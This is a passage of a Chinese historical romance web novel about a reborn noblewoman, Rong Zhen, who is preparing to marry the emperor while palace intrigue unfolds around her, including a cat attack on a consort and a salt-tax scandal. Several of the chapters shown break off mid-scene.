各家夫人小姐们也都面面相觑,皆是摇头,表示自己并未看见。 嬷嬷见询问无果,也只得作罢,面子功夫做足让人揭不出短便了了。 容蓁端坐在人群后的圈椅上,纤纤玉指轻捻着茶杯,眼眸低垂,嘴角噙着一抹得体的微笑,仿佛对姜雅柔落水的事情丝毫不在意。 只因此时她更在意的是这些个猫为何会再次出现。 当时那猫群的头猫以为自己杀害了它的的母亲才来寻仇。 要不是心细地发现那枚遗落的香囊,给那头猫闻了闻。 是了,那枚香囊…… 她抬眸望了首座上的女子一眼,黛眉轻挑。那张脸虽说不上仙姿玉色,但与这些夫人小姐们比还能算是冠艳群芳。 显然姜雅柔落水吸引走在场所有人的注意力,已忘记方才场面一度失控的来源。 混乱的场面下所有人各怀心思,无人注意到一只通体雪白的猫,正悄然接近毫无防备的淑贵妃。 “啊——” 一声尖叫划破御花园上空,惊起枝头雀鸟无数。 众人顿时紧张地循声望去,只见一只毛色雪白的猫不知何时出现在淑贵妃身旁,正弓着身子,冲着淑贵妃呲牙咧嘴,一副吃人的模样。 “娘娘小心!” 淑贵妃身边的宫女惊呼一声,想要上前护住淑贵妃,却被那猫灵活地躲开。 “快来人啊!护驾!护驾!”太监尖锐的嗓音响彻云霄。 场面顿时再次乱作一团。 越来越多的猫将他们重重包围住,宫女太监们惊慌失措地想要赶走那些猫,却又都被它们凶狠的模样吓得不敢靠近。 一只只灵巧的猫,躲过宫女太监们,张开锋利的爪子直冲淑贵妃。 淑贵妃被突如其来的袭击吓得花容失色,惊慌失措地想要躲避,却不想那些猫异常灵活,且目标十分明确猛地朝淑贵妃扑了过去,锋利的爪子瞬间在她脸上留下了几道血痕。 不过眨眼间的事,空气中瞬间如同凝固一般,在场人都禁了声,呆呆地看着淑贵妃捂着脸,痛苦地哀嚎着。 “啊!我的脸!我的脸!” 鲜红的血液顺着她的指缝流淌下来,原本雍容华贵的妆容被惊恐扭曲,几道血痕自眼角蜿蜒而下,衬着惨白的脸色格外可怖。 宫中侍卫闻声赶到时,也被混乱的场面和如此多的猫所震撼一瞬。 那只毛色雪白的猫一双琥珀的般的眼睛,穿过人群与容蓁对视一眼后,领着猫群四处散开,留下一声拉长音的猫叫声后,消失在御花园里。 容蓁听懂了那声猫叫,是头猫表达对她的感谢。 猫群散去,几名宫女惊慌失措地围上去,手忙脚乱地替淑贵妃整理仪容。 “娘娘!娘娘!” 紧绷的弦终是松懈下去,受到巨大惊吓的淑贵妃再也坚持不住眼前一黑,晕倒在御花园里。 “快传太医!快去请太医!” 众人这才反应过来,七手八脚地将淑贵妃抬回昭华殿。 容蓁站在人群外围,清澈的眸子中闪过一丝冷意。怕是淑贵妃自己也未曾料到这样的场面。 她秀眉微蹙,脑海中再次浮现出今早进宫时,在辇上看到的那枚香囊。 那香囊做工精致,一看便知是出自宫中之手,只是不知为何被遗落在那儿。 当时她并未在意,直至猫群出现她才意识到香囊的不对劲,然而当时也只以为是楚绍,或者淑贵妃给她下马威的一个小把戏。 如今想来,甬道猫袭这事只怕是淑贵妃自己的手笔。 而楚绍无非就是想打探自己和容家,对婚事的态度,不必做出这样的事情。 淑贵妃则是想借猫警告于她,意图让她知难而退,却不曾想竟搬起石头砸了自己的脚。 作茧自缚还当真是淑贵妃一贯的行事风格。 她低眉眼底含笑,觉得心中此刻十分畅快。 原本热闹的赏花宴,也因此早早结束,各府的夫人小姐们都面色凝重结伴出了宫门。 - 晚风潇潇,连绵的雨如丝般垂落,玉兰苑庭院的石阶上积水成沼。 容蓁合眼静坐于在闺房内的贵妃椅上,正抬起一只手按住自己的额头,试图缓解针扎般的刺痛。 窗棂间透进斑驳陆离的光影。她另一只手中把玩着一串凤眼菩提,正出神地想着今日在宫里所发生的事情,未曾注意芯红折了几枝开得最妍的白玉兰,插在青釉鹅颈瓶里,依着才沏的双井绿,一并送进来。 “小姐,可有哪里不适?” 芯红打帘进来,看见闭着眼扶额的容蓁立即放下茶案,沏了一杯茶递过去,关切地询问道。 思绪飘远的人这才拉回思绪接过茶盏。 温茶润喉,直暖心底这才让她好受了些。 容蓁手指轻轻叩响着桌面,细细揣摩着那人的心思,脸色有些寒。 “小姐,您在想什么?” 芯红一边为容蓁添着茶,一边小心翼翼地问道。 容蓁放下手中茶盏,指尖轻轻摩挲着杯沿,目光却落在窗外飘落的雨丝上。 “芯红,你说,皇上为何要拖到五年后才公布先皇遗旨呢?” 她这句话虽是问芯红,更像是在自言自语。 “奴婢愚钝,不知小姐深意。” 容蓁轻笑一声,笑容却未达眼底。 “五年前,皇上初登大宝,根基未稳,朝中势力错综 12.贤亲王妃 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 距离赏花宴已过去了一些时日。 要说盛京如此热闹的地方,最不缺的便是百姓们的饭后茶资。 有消息说淑贵妃因伤了容貌,宋家一直拖人遍寻良药,希望能使其容貌恢复如初。宋府主母也就是淑贵妃的生母,得知消息后当场便晕了过去,随后一病不起,倒是让一直被压的二房得了势,接过主母担子将里外打点的风生水起。 短短数日,大批打着“神药”旗号的人士不断地涌进宋府,左相宋珺更是急的如同热过上的蚂蚁,连带着下人的日子也不好过,整日提心吊胆地做事。 另一件大事则是关于右相容府上的。 说的还是原先皇室向容府行纳采礼一事,十里红街的盛景在众多百姓心里留下深刻的印象。不仅仅是百姓,盛京各府一直都处于密切观望中,且不知容府这位唯一的嫡小姐将居于何位。 唯一叹息的是,当年容府的这位嫡小姐出生不到两岁,母亲就因病与世长辞,留下这么一位小女儿,故此容相也就将这位小女儿视作眼珠子般,上面的两位兄长对她也是万般疼爱。 于是,百姓讨论容府这位嫡小姐的位分是一件事,另一件事便是容相主母的位置空悬那么多年,而容相一直未肯续弦,如今嫡女婚嫁这一等一的大事,又该何人来操持,盛京之中一时间也是众说纷纭。 诸多猜测,身在这舆论中心的容蓁,一身素雅的襦裙,乌黑的长发只用一根白玉簪挽起,清丽脱俗,宛若空谷幽兰。此刻正悠闲地在院子里,挽起长袖翻土除草,忙的不亦乐乎。 她纤细的手指轻轻拨弄着面前的花枝,嘴角带着一抹淡淡的笑意,仿佛只有在侍弄这些花草时才能流露出作为女子的一些小性情。 阳光透过树叶的缝隙洒落在她白皙的侧脸上,为她镀上了一层淡淡的光晕,仿佛误入凡尘的仙子,恬静而美好。 “小姐,您真的不担心吗?” 芯红一边为容蓁添茶,一边担忧地问道。 容蓁放下手中的花剪,擦了擦手上带的泥土,端起茶杯轻抿一口,语气平静无波:“担心什么?” “可是……” 芯红还想再说些什么,却被另一道声音打断。 “你这丫头,倒是好兴致。” 一道苍老而慈祥的声音从身后传来,容蓁回头,只见崔元钧一身青衫,负手立于院门口,脸上带着一抹无奈的笑意。 “外祖父。”容蓁起身拍拍裙尾,又把挽上去的长袖放下,笑脸迎上前去,将崔元钧引至石桌旁坐下,“您怎么来了?” 崔元钧看着满院的花花草草,又看了看容蓁,长叹一声:“你这孩子,还有心思摆弄这些,你娘亲要是还在……” 容蓁动作一顿,眼眸中闪过一丝黯然,随即又恢复了平静。 “外祖父放心,蓁儿没事。”她拿起一旁的茶壶,为崔元钧斟了一杯茶,“您尝尝,这是今年新制的雨前龙井。” 崔元钧接过茶盏,却没有喝,只是静静地看着容蓁好一会儿,眼中满是担忧:“这后宫,可不是什么好去处啊!” 容蓁垂下眼眸,遮住眼底的复杂情绪。 “外祖父,蓁儿知道。”她声音轻柔,如同一阵雨后微风,“可是,蓁儿没有选择。” “先皇遗旨,容家无法抗旨,蓁儿也不能。” 崔元钧看着容蓁,心中满是心疼。 院中气氛瞬时变得有些冷寂。 “唉……”崔元钧长叹一声。 “蓁儿,你放心。”他握住容蓁的手,眼中满是慈爱,“无论发生什么事,外祖父和清河崔氏,都会是你最坚强的后盾。” 容蓁抬起头,看着崔元钧,眼中泛起一丝泪光。 她吸了吸鼻子,搂住崔元钧的胳膊撒娇道:“谢谢外祖父。” 崔元钧拍了拍她的手,慈爱地说道:“你放心,外祖父已经收到你姨母的书信,她明日便会过来。” “姨母?”容蓁眼中闪过一丝惊讶。 前世因为抗旨的缘故,容蓁早早就被楚绍下旨接入宫中待嫁。说得好听是接进宫,但倒不如说是被严密看管起来更贴切。以至于她一直到死都不曾有机会再回容府,更未像现在这样与外祖父树下品茗,谈着自己婚嫁的事。 “当年你母亲过世后,你的这位姨母不忍心见你自小没有母亲照顾,又是女儿家怕你父亲兄长几个男人粗苯不会照顾,本想接你过府,但你父亲舍不得,这才作罢。”崔元钧解释道,“如今你即将大婚,她这个做姨母的,自然要来为你操持。” 容蓁听崔元钧说起当年的旧事,了然地点点头,外祖父膝下四儿两女。两个女儿里一个是她母亲,一个就是嫁入了贤亲王府的贤亲王妃。 她儿时听曾兄长聊起过,当年贤亲王为求娶清河崔氏的这位二小姐,不辞辛苦亲自去了清河崔氏当着一族人的面发重誓,一生只娶这一位王妃,此后不再娶任何女子,外祖父这才点头同意将姨母嫁给了贤亲王。 前世她没有机会见到这位姨母,她想大抵也会如她母亲那般好相与。 如今想来由贤亲王妃来亲自操办她的大婚,已是最合适不过的人选。 她心底对外祖父如此为自己筹谋打算而感动。 翌日,贤亲王府的马车便驶入了容府。 容府上下一众人由容玉山领着,已在门口等候多时。 贤亲王妃一身华服,雍容华贵,三十多岁人的脸上看不出岁月留下的任何痕迹。 容蓁上前亲自将贤亲王妃扶下马车,寒暄道:“姨母平日要打理偌大的贤亲王府,如今还要分神过来操办蓁儿的婚事,蓁儿心里过意不去。” 贤亲王妃缓步走下马车,一举一动都彰显着皇家威仪和簪缨世家的底蕴。 她轻轻地拍了拍容蓁的手背,心疼道:“让姨母好好瞧瞧,竟出落得如此标致!蓁儿,这些年,你受苦了。” 贤亲王妃自下了马车,一双眼睛就没有从容蓁的脸上移开。她眼含热泪,心疼地轻抚容蓁的脸颊,声音微颤道:“姐姐她去的早,本应由我来多照看你些。” 说完,又抬手摸了摸容蓁的眉眼,嘴角含笑道:“这眉眼生得像你母亲。” 容蓁眼眶微红,对母亲她的脑海里早已没有了印象,只有母亲留给她的那块玉佩,让她日夜佩戴来寄以哀思。 13.备嫁 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 自从贤亲王妃带着六车行李浩浩汤汤地进了容府后,盛京城中有关容府连着三日占据了流言的半边天。 本有一些人并不知晓贤亲王府与容府之间还有这层关系。如今贤亲王妃摆出这么大的阵仗,当日不过午时,盛京各大茶馆里就已然坐满了人,将这两氏族高门之间的关系给理了清楚。 原先还传言说容府嫡小姐婚事无主母操办的那群人们,这下可津津乐道:“有贤亲王妃这位姨母在,容府的这门婚事必定更加万分瞩目。” 宫里那位自得了消息,也立马让人将昔日教导先皇后的老嬷嬷请进了容府。 此时,正坐在偏院贤亲王妃暂住的丰栖苑里,一副愁眉苦脸模样的容蓁,引得贤亲王妃的注意,停下手里的活,侧目看向她安慰:“那李嬷嬷是最重视礼教的,能从她手底下出来的小姐恁是挑不出任何错儿的。人虽是古板了些,但到底从前教导过先皇后,辈分也就摆在那里,凭你是容氏小姐,还是清河崔氏小姐,在她眼里都一样……” 容蓁回想起前世在宫里的那一个多月,天天面对李嬷嬷那只能用“严苛”来形容的教导的日子,她浑身都崩了起来。 好在之前那些礼仪闺训,以及宫里的吃穿住行她还记得,万不可能再像前世那般痛苦不堪。 贤亲王妃瞧着她像是听进去了,笑了笑继续忙起了手里的活。 屋子里不仅只有贤亲王妃,丰栖苑的正厅里此时坐满了帮着干活的人,也堆满了备选进嫁妆的礼品。 “王妃,您看这凤穿牡丹的纹样可好?寓意富贵吉祥,最适合皇后娘娘了。” 说话的是一位年过半百的老嬷嬷,名叫张嬷嬷,是贤亲王妃身边最得力的管事嬷嬷,经验丰富,正满脸堆笑地向贤亲王妃请示。 贤亲王妃接过绣样,细细端详,只见那凤凰栩栩如生,牡丹娇艳欲滴,针脚细密,做工精巧,的确是不可多得的佳品。 “张嬷嬷的眼光自然是极好的。”贤亲王妃满意地微笑点头,将绣样递给身旁的丫鬟,“就用这个吧。” “王妃,这是从江南运来的白玉兰,您看要不要摆几盆在小姐房里?” 另一位嬷嬷捧着几盆开着莹白如玉兰花的瓷盆走上前来。 贤亲王妃起身,走到白玉兰前,微微俯身,轻嗅花香,清幽淡雅,沁人心脾。 “也好,就摆几盆在角落里吧,不要太喧宾夺主。” “王妃,这是从西域进贡的夜明珠,您看……” “嗯,可以做成灯笼,悬挂在婚宴当晚的庭院里,增添几分浪漫气氛。” 贤亲王妃一边听着下人们的汇报,一边在脑海中勾勒着大婚当天的场景。 “蓁儿,你瞧瞧,这凤冠上的东珠可还够大?这可是姨母特意命人从库里翻出来的,足足有龙眼大小,衬得你越发肤白貌美了。”贤亲王妃满眼宠溺,亲自将沉甸甸的凤冠戴在容蓁头上。 容蓁微微一笑,眉眼温婉:“姨母费心了,姨母选的都好看。” 贤亲王妃轻点她鼻尖,嗔怪道:“你这丫头,就会哄姨母开心。” “不过还是那句话,这后宫可不是什么善地,你日后可得万事小心谨慎才是。”贤亲王妃语气一转,眉宇间染上几分担忧。 容蓁收敛笑意,正色道:“姨母放心,蓁儿省得。”眸光却深了几分。 “你明白就好。”贤亲王妃拍拍她手背。 贤亲王妃絮絮叨叨地说着,言语间满是宠溺和疼爱。 容蓁静静地听着,偶尔点头附和几句,脸上始终带着得体的微笑。 “对了,蓁儿,婚典的章程,姨母已经拟好了,你看看还有什么需要补充的?”贤亲王妃说着,从袖中掏出一卷厚厚的礼单,递给容蓁。 容蓁接过礼单,却没有急着打开,而是抬起头,目光清澈地看向贤亲王妃:“姨母,蓁儿想,这场婚典,不必太过奢华。” “蓁儿,你这是说的什么话?”贤亲王妃眉头一皱,语气中带着一丝不悦,“你是未来的皇后,你的婚典,自然要办得风风光光,才不失皇家体面。” “姨母,蓁儿明白您的心意。”容蓁柔声说道,语气中带着一丝坚定,“只是,边关战事吃紧,蓁儿身为未来皇后,更应该以身作则,节俭为先。” “这……”贤亲王妃有些犹豫。 “姨母,您就依蓁儿这一次吧。”容蓁握住贤亲王妃的手,轻轻地摇晃着,撒娇似的说道。 贤亲王妃看着容蓁恳切的眼神,心中一软,最终还是点了点头:“好吧,就依你这一次。” “不过,该有的礼数,一样都不能少。”她补充道,语气中带着一丝不容置疑。 容蓁笑着点头。 贤亲王妃满意地笑了笑,继续和容蓁商讨起婚典的细节来。这些日子,贤亲王妃事事亲力亲为,力求将容蓁的婚典办得尽善尽美。 容蓁看着贤亲王妃忙碌的身影,心中充满了感激。 “蓁儿,你在想什么呢?”贤亲王妃见容蓁有些走神,关心地问道。 “没什么,只是在想,能有姨母这般疼爱,是蓁儿的服气。”容蓁回过神,笑着说道。 贤亲王妃闻言,眼眶微微湿润,伸手将容蓁揽入怀中:“傻孩子说什么傻话,姨母不疼你,疼谁呢?” 就在这时,门外传来一阵轻微的脚步声。 “启禀王妃,李嬷嬷来了。”一个丫鬟的声音在门外响起。 李嬷嬷? 容蓁听到这个名字,眉头微微一蹙,脑海中浮现出六七十岁,面容严肃的老妇人形象。 “快请李嬷嬷进来。”贤亲王妃连忙说道,声音中带着一丝尊敬。 片刻后,一个身穿褐色宫装,头发花白的老妇人走了进来。 老妇人一身藏青色的宫装,头上梳着简单的发髻,没有佩戴任何饰品,虽然年事已高,但腰杆笔直,精神矍铄,一双眼睛炯炯有神,透着一股不怒自威的气势。 “老奴李嬷嬷,参见王妃,参见容小姐。”李嬷嬷走到堂前,恭敬地行礼道。 “李嬷嬷快快请起。”贤亲王妃连忙上前,亲手将李嬷嬷扶了起来,“皇上找您来教 14.相赠 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 容府,白兰苑内。 李嬷嬷最后一次扶着容蓁的手,仔细叮嘱着宫中礼仪,粗糙的指腹轻轻摩挲着她细嫩的肌肤,仿佛在抚摸一件易碎的珍宝。 “姑娘,这是老奴最后一次这样唤您了。”李嬷嬷的声音有些沙哑,浑浊的眼眸中却闪烁着慈祥的光芒。“姑娘天资聪颖,一点就通,老奴着实深感欣慰,希望姑娘进宫后的生活也能够平安顺遂。” 容蓁反握住李嬷嬷的手,指尖冰凉,却传递着一丝温暖:“嬷嬷,您这是说的什么话?您永远是蓁儿的教导嬷嬷。” 李嬷嬷欣慰地笑了笑,从袖中小心翼翼地掏出一个檀木锦盒,双手颤抖着似是在用尽全身的力气将锦盒缓缓打开。 “老奴在宫中侍奉多年,如今也该告老还乡了。” 容蓁一怔,心中有些不舍:“嬷嬷……” 李嬷嬷将打开锦盒呈现在容蓁眼前,里面静静躺着一只通体碧绿的祖母绿手钏,在阳光下流光溢彩。 “这是先皇后在世时,赏赐给老奴的。”李嬷嬷拿起手钏,轻轻戴在容蓁皓腕上,“如今,老奴想着也把它送给姑娘。” 祖母绿的冰凉触感,让容蓁心头一颤。 “嬷嬷,这太贵重了,蓁儿不能收。”她想要摘下手钏,却被李嬷嬷按住。 “拿着吧,姑娘。”李嬷嬷的声音带着一丝颤抖,“老奴老了,这手钏于我而言,不过是件死物,但于姑娘,却另有意义。” “另有意义?”容蓁不解地看向李嬷嬷。 李嬷嬷慈爱地看着她,眼中闪烁着睿智的光芒:“姑娘天资聪颖,又心地善良,日后必成大器。” “这手钏,姑娘便当做老奴对姑娘的一份祝福吧。” “祝福?”容蓁喃喃自语,心中五味杂陈。 “拿着它,姑娘。”李嬷嬷将她的手轻轻合拢,“就当是老奴的一点心意。” 容蓁看着李嬷嬷期盼的眼神,最终还是点了点头:“多谢嬷嬷。” 李嬷嬷见容蓁收下,满意地点了点头,缓缓又道:“姑娘日后若是遇见有缘人,也可将这手钏转赠予他。” 李嬷嬷炯炯有神地目光看着她,语气意味深长,容蓁却并未深思,只当是老人家的心意。 她郑重地接过锦盒,起身送李嬷嬷出门。 阳光洒在庭院中,李嬷嬷的身影被拉得很长。 容蓁看着她的背影,心中心绪难平。她再次打开锦盒,细细摩挲着那只祖母绿手钏,碧绿的翡翠触手生凉,隐隐透着一股清香。 没想到,这一世还能得到这位李嬷嬷的祝福,倒是意外之喜。 - 容蓁闺中备嫁,一忙时间就匆匆过去了近两月。 送走了李嬷嬷,容蓁整个人瞬间轻松下来,懒懒地倚在暖阁的软塌上。 阳光透过窗棂,洒在她的身上,镀上一层淡淡的光晕。 她随手拿起一旁的团扇,有一下没一下地扇着,目光却落在手中的祖母绿手钏上。 碧绿的翡翠在阳光下流光溢彩,映照着她白皙如玉的肌肤。 “有缘人……” 她始终觉着李嬷嬷话中有话,却一直不曾想明白,其中到底隐藏着如何更深层的意思。 直到一阵“咚咚…”声。 暖阁的门被人从外轻轻扣响,打断了她的思绪。容平章温润如玉的声音从门外传进来:“妹妹,是我。” 容蓁起身打开门,欢喜地将容平章迎进来后,立马做出小女儿才有的模样,嘟起嘴撒娇道:“哥哥这些日子都去了哪里,数月都未曾见着人。” 容平章宠溺地揉了揉她的脑袋,语气中带着一丝歉意。 “江南那边出了些事,皇上派我去暗访,这才耽搁了,蓁儿莫怪哥哥才是。” 江南…… 她猛然想起前世,容家突然被百官弹劾江南贪污一事。不自觉地心中一紧,拉着容平章坐下,亲自为他斟了一杯茶,关心道:“哥哥此番回来,可是事情都办妥了?” 容平章接过茶盏,轻抿了一口,这才缓缓开口。 “嗯,已经查明真相,不日便可向皇上复命。” 他放下茶盏,目光落在容蓁身上,带着一丝探究。容蓁正想问下去,却被打断。 “倒是蓁儿,哥哥听说……” 他顿了顿,似乎有些难以启齿。 容蓁如何不明白他的意思,她微微一笑,神色坦然。 “哥哥可是想问,蓁儿为何会答应入宫为后?” 容平章没有说话,只是静静地看着她,等待着她的答案。 容蓁垂下眼眸,遮住眼底的复杂情绪。 “哥哥,此事说来话长……” 她将事情的来龙去脉娓娓道来,语气平静,却难掩其中的惊心动魄。 容平章听完,眉头紧锁,眼中满是担忧。 “蓁儿,你真的想好了吗?这条路,一旦踏上,便再无回头之路。” 容蓁抬起头,目光坚定。 “哥哥,蓁儿已经没有选择了。” “如今,只有站在最高处,才能保护自己,保护家人,保护……我所在乎的一切。” 她的声音虽然轻柔,却带着不容置疑的坚定。 容平章看着眼前这个看似柔弱,实则内心无比坚强的妹妹,心中五味杂陈。 他知道,如今已经无法改变任何决定。 他伸手握住容蓁的手,语气郑重。 “只是你要记住,无论何时何地,哥哥永远都是你最坚强的后盾。” 容蓁眼眶微热,用力地点了点头。 “蓁儿明白,谢谢哥哥。” 兄妹二人又聊了一会儿,容平章才起身离开。 “蓁儿,你好好休息,明日哥哥再来看你。” 她起身相送,目送着容平章的身影消失在门外,这才转身回到房间。 她走到窗边,推开窗户,望着远处的天空。 夕阳西下,晚霞染红了半边天,美得令人心醉。 然而,在这美丽的景色背后,却隐藏着无数的暗流涌动。 容平章走后不久,绿芜端着盛满五颜六色花瓣浆液的瓷碟走进屋,笑盈盈地走到容蓁身边说 15.七巧节 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 天光熹微,晨曦透过窗棂洒入房间,为雕花木窗披上一层薄纱。 容蓁起身,伸了个懒腰,昨夜辗转反侧,思绪万千,直到天快亮时才浅浅睡去。 “小姐今日怎么起得这般早?”侍女绿芜端着水盆进屋,见容蓁已梳洗完毕,不禁有些惊讶。 容蓁对着铜镜理了理鬓边的碎发,唇边勾起一抹浅笑:“这两日睡得浅,醒得也早了些。今日天气晴好,又是七巧节我想出去走走。” “那奴婢陪同小姐一起去吧。”绿芜说着便要去拿披风。 “不必了,”容蓁阻止道,“你就在府里候着,若姨母打发人来问就说我出府了,大婚的事还需得你和芯红多去姨母那边多帮衬帮衬,我自己出去随便逛逛,散散心就回。” 说罢,她便带着帷帽,独自一人出了府。 这才清早,街上却已人声鼎沸,各种装饰都已摆了出来,商贩们叫卖声、讨价还价声此起彼伏,带着清晨特有的活力和浓郁的节日氛围。 容蓁一身素雅的襦裙,轻纱遮面,只露出一双灵动的杏眼,穿梭在熙熙攘攘的人群中。 “姑娘,来看看这新鲜的瓜果,都是今早刚摘的,可甜了!” “哎呦,这位姑娘,您可真是好眼光,这可是上好的蜀锦,最适合您这样的小姐了!” 小贩们热情地招呼着,容蓁却只是微微一笑,眼波流转间,透着一丝愉悦。别说过七巧节,她已有多少年没有这样逛过早市了。 “姑娘,来看看这新鲜的芙蓉糕,香甜软糯,姑娘吃了定喜欢!” 容蓁微微一笑,眉眼弯弯,透着一股娇俏可爱。 “那就给我来一包吧。” 她接过油纸包,付了钱,继续往前走去。 她一路走走停停,兴致盎然地观赏着路边的摊位,时不时买些小玩意儿。不自觉地被周围气氛所感染,眼角眉梢都飞扬起心底的欢喜。 人群中,一个鬼鬼祟祟的身影引起了她的注意。 那人十分高挑,在人群中颇为显眼,身着粗布麻衣,头戴斗笠,低着头,似乎在刻意躲避着什么。 容蓁黛眉微蹙,眸光一闪,不动声色地跟了上去。 那人七拐八拐,最后进了一家不起眼的茶馆。 容蓁在茶馆对面找了个不引人注意的位置坐下,要了壶清茶,看似悠闲地品着茶,目光却始终没有离开那家茶馆。 约莫过了两盏茶的时间,那人从茶馆里出来,手里多了一个小小的包裹依旧低着头。他警惕地环顾四周,确定无人跟踪后,才匆匆离去。 容蓁见状,立即放下手中茶杯,掏出几块碎银放置在桌面,起身快速跟了上去。 那男子穿过几条热闹的街道,来到一处僻静的小巷,明显更谨慎了些许。 容蓁放慢脚步,小心地跟在他后面,保持着一定的距离以免打草惊蛇。 巷子里光线昏暗,只有几缕阳光透过墙头的缝隙照射进来,显得格外阴森。 那人影十分警觉,在晨雾中穿梭,她一路小心跟随,那人最终来到城郊一处僻静的院落前,左右张望了一番,确定无人跟踪后,才闪身进了院子。 容蓁躲在暗处,看着那扇缓缓关上的院门,眸光微闪。 这处院落地处偏僻,寻常人根本不会来此,那人鬼鬼祟祟,定然有问题。 想到此处,容蓁心中已有了计较。 她观察片刻,找到一处防守薄弱的角落,足尖轻点,飞身跃入院墙悄无声息地潜入院中,凭借着过人的轻功,避开了院中的护卫,来到一间房间外。 她屏住呼吸,侧耳倾听,隐约听到房间内传来一阵低语。 “事情办得如何?”一道低沉的男声响起。 这声音怎的如此耳熟? “回世子,一切顺利,东西都在这里。” “很好。”男子的声音中透着一丝满意,“那边的事情继续让人盯着,有任何风吹草动,立刻来报。” “是!” 短暂的对话后,房间内便没了动静。 容蓁心中好奇更甚,她放轻脚步,走到窗边,透过窗户的缝隙,一名身穿玄色锦袍的男子背对着她站在书桌前,身形修长挺拔,正翻阅着什么。 房间内只留下他一人,另一人已不知何时,如何离开。如此可见这偏僻的院落,倒是不仅仅是表面看起来的那样。 “谁?”男子似是察觉到身后的动静,猛地抬起头,一双深邃如墨的星眸,锐利如鹰隼凌厉地看向窗外。 四目相对,容蓁呼吸一滞,一时竟忘了反应。 令她万万没想到,房中的男人竟然是萧誉! 晨光在他身上镀上一层淡淡的光晕,更显清冷禁欲。 萧誉眉梢微挑,看着突然出现的容蓁,深邃的眸子似笑非笑:“容小姐,这么早,在此处赏景?” 容蓁压下心中的慌乱,故作镇定地笑了笑:“萧公子说笑了,我只是碰巧路过。” 萧誉挑眉,显然不信她的说辞:“哦?那容小姐可真是‘巧’得很。” 他刻意加重了“巧”字,语气中带着一丝戏谑。 容蓁压下心中的震惊,唇角勾起一抹狡黠的笑意:“不过,这里景色确实不错。“ 说完她又朝萧誉那张俊美的脸上忍不住多看了两眼,接着道:”怎么?萧世子似乎不欢迎我来?” 萧誉敛下眼眸,深沉的眸子里藏着探究,不答反道:“既然来了,就进来吧。” 他从内将房门打开,容蓁才发现,这里面竟是一处隐蔽的茶室。 萧誉煮茶的动作行云流水,茶香四溢,却掩盖不住他身上那股淡淡的疏离。 他拿起一个崭新的茶杯,仔细地洗过后,才往里斟了新茶递给容蓁,对她说道:“这里不是你该来的地方。” “哦?那不知哪里才是我该去的地方?”容蓁不以为意,反问道。 她上前一步,步步紧逼,直到两人之间只余一步之遥。 萧誉看着近在咫尺的容蓁,眸色微深。 少女一袭浅碧色衣裙,衬得肌肤如雪,眉目如画,唇红齿白,清丽脱俗 16.七巧节(二) 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 晨曦微露,容蓁已踏着露珠回到了容府。 因与楚绍大婚的事惹得心中烦闷,本想着借节日的气氛来舒缓舒缓心情的容蓁,此刻的心情却如同这初升的朝阳,一片明媚。 她步履轻盈,嘴角噙着一抹笑意回到容府。 进了府门,瞧着婆子丫鬟们正忙碌地准备早膳便打算直接白兰苑小憩。可绿芜远远地瞧见她就连忙迎了出来,瞧着脸色不是很好。 容蓁见着绿芜那吃了苦瓜般的脸色,稍稍收敛神色,向正走来的绿芜问道:“今儿个怎么了?怎的苦着个脸?” 绿芜一边帮她取下沾着露水的披风,脸上带着几分焦急,一边压低声音说道:“小姐可算回来了,方才老爷下朝回府发了好大一通气,也不知是怎么了,若是知道您不在府中怕是会更气,所以奴婢就来府门守着,等您回来通个气儿。” 容蓁眉心微蹙,不动声色地将手中的木盒藏进袖中:“父亲可是为了早朝上的事生气?” 绿芜摇了摇头说:“不清楚,回府后老爷和大公子就去了书房,也不许下人们跟着。” “我知道了。”容蓁打断了她的话,语气平静无波,“我去书房看看父亲。” 书房的门半掩着,容蓁还未踏进去,便听到里面传来容玉山低沉的声音:“……此事绝非如此简单!江南盐造一事其中利益盘结交错,人际错综复杂。” 书房内,容玉山面色铁青,将手中的茶盏重重地放在桌上,发出一声脆响。 “父亲,你也不必如此担心。”容平章的声音响起,带着几分无奈,“江南的事情积淀已久,在皇上心中怕是早已想除去这顽疾,此事于皇室或与百姓都有益处。” 容蓁心中一凛,江南盐税,关系到国库收入,一直是朝廷的重中之重,但也因此滋生了大量的贪官污吏,错综复杂,牵一发而动全身。 于是她抬手,指尖轻叩了两下书房虚掩着的门。 “进来。”容玉山低沉的声音从里面传来。 她轻轻推门而入,书房内,容玉山和容平章相对而坐,面色凝重。 “父亲,哥哥。”容蓁上前,微微福身。 “蓁儿,你怎么来了?”容玉山见到她,脸色稍霁,但眉宇间的阴霾却挥之不去。 “女儿只是路过,见父亲和兄长在谈事似是心情不佳,便进来看看。”容蓁语气轻柔,目光却在两人之间来回打量,掩盖不住眼底的担忧。 容玉山沉吟片刻,才缓缓开口:“皇上怀疑江南盐商与当地官宦勾结,私吞税银,所以想让你大哥再去一趟江南,彻查此事。” “江南?”容蓁秀眉微蹙,前世的记忆如潮水般涌来,“哥哥前段时日不是刚去过了吗?” “皇上怀疑有人从中作梗,上次并未查出实质性的证据。”容玉山解释道。 容蓁垂眸,掩去眼底的精光,皇上此举,分明是醉翁之意不在酒。 江南盐税,前世便是哥哥仕途的转折点,也是容家走向没落的开端。 长兄容平章,少年英才,年纪轻轻已官居御史大夫,有监察百官之责,楚绍派哥哥去办这么大的案子,自然是理所应当最佳人选。 可也正因为哥哥太过耀眼,遭人嫉恨,中了奸人的圈套被卷入了江南盐税案中,而被百官弹劾,污蔑他中饱私囊。 最终落得个身败名裂下场,自此一蹶不振,在牢狱中郁郁寡欢积劳成病。 “我陪兄长一起去吧。”容蓁突然说道。 “不行!”容玉山想也不想地拒绝,“江南路途遥远,你一个女孩子家,跟着去太危险了。” “父亲,您就让我去吧。”容蓁走到容玉山身边,拉着他的胳膊撒娇道,“我保证会乖乖听话,绝不给哥哥添乱。” 容玉山看着女儿恳求的眼神,但还是摇了摇头:“蓁儿,这次的事情非同小可,不是儿戏,你不能去。” “父亲……” “好了,蓁儿,此事无需再说。”容平章开口劝道,“况且你婚期将至,哪有这个时候还远行的。” 容蓁咬了咬嘴唇,最终还是没有再坚持。 容平章起身,拍了拍容蓁的肩膀,语气温和:“蓁儿放心,哥哥此去定会查明真相,不负圣恩。” 容蓁看着哥哥自信的笑容,心中却是一片冰凉,她深知前方等待她哥哥的是万丈深渊。 她眼睛眯起,暗暗决定要尽快查清真相,决不能让百官弹劾的事情在这一世再度发生。 - 用完早膳,容蓁回到自己的白兰苑里。 